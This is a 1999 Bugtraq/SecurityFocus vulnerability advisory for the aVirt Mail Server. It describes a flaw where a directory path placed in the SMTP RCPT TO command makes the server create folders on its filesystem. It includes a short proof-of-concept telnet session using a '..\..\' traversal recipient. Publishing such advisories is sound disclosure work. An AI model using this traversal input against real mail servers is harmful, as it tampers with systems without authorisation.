aVirt Mail Server Directory Creation Vulnerability

Bugtraq ID:	764
Class:	Unknown
CVE:
Remote:	Yes
Local:	Yes
Published:	Oct 31 1999 12:00AM
Updated:	Oct 31 1999 12:00AM
Credit:	Posted to Bugtraq on November 2, 1999 by Jesús López de Aguileta <[email protected]>.
Vulnerable:	Avirt Gateway Suite 3.5 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 Avirt Gateway Suite 3.3 a - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 Avirt Gateway Suite 3.3 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0
Not Vulnerable:

aVirt Mail Server Directory Creation Vulnerability

The aVirt Mail Server has a weakness in the code that handles the RCPT TO command. By specifying a path in the command instead of an email recipient , an attacker could cause the mail server to create a directory in the server's local filesystem.

aVirt Mail Server Directory Creation Vulnerability

telnet targethost:25

> 220 server aVirt Mail SMTP Server Ready.
MAIL FROM: user
> 250 user, Sender OK
rcpt to:..\..\..\..\createdir
> 250 ..\..\..\..\createdir, Recipient OK
data
> 354 Please enter mail, ending with a "." on a line by itself
blablabla
.
> 250 Mail accepted.

This will cause the mail server to create a root directory called "createdir", which will contain 1 file. Testing indicates that this method cannot be used to overwrite existing folders.

aVirt Mail Server Directory Creation Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

aVirt Mail Server Directory Creation Vulnerability

References: